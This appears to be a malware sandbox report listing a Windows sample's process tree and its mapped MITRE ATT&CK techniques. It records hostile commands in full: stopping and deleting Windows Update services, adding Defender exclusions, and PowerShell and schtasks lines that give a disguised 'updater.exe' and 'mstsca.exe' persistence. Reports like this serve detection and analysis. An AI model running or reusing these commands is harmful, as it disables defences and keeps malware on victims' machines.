- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1512
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2340
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4916
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1328
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4160
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1488
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4288
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4156
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2040
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:5056
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4380
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:64
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2608
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4832
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4600
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4616
- C:\Users\Admin\AppData\Local\Temp\A973.exe
  C:\Users\Admin\AppData\Local\Temp\A973.exe
  2⤵
  - Executes dropped EXE
  PID:4932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:2552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1528 -ip 1528
1⤵
PID:2940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 4668 -ip 4668
1⤵
PID:3676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1948 -ip 1948
1⤵
PID:436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3040 -ip 3040
1⤵
PID:2636

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:468

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:552

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:100
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery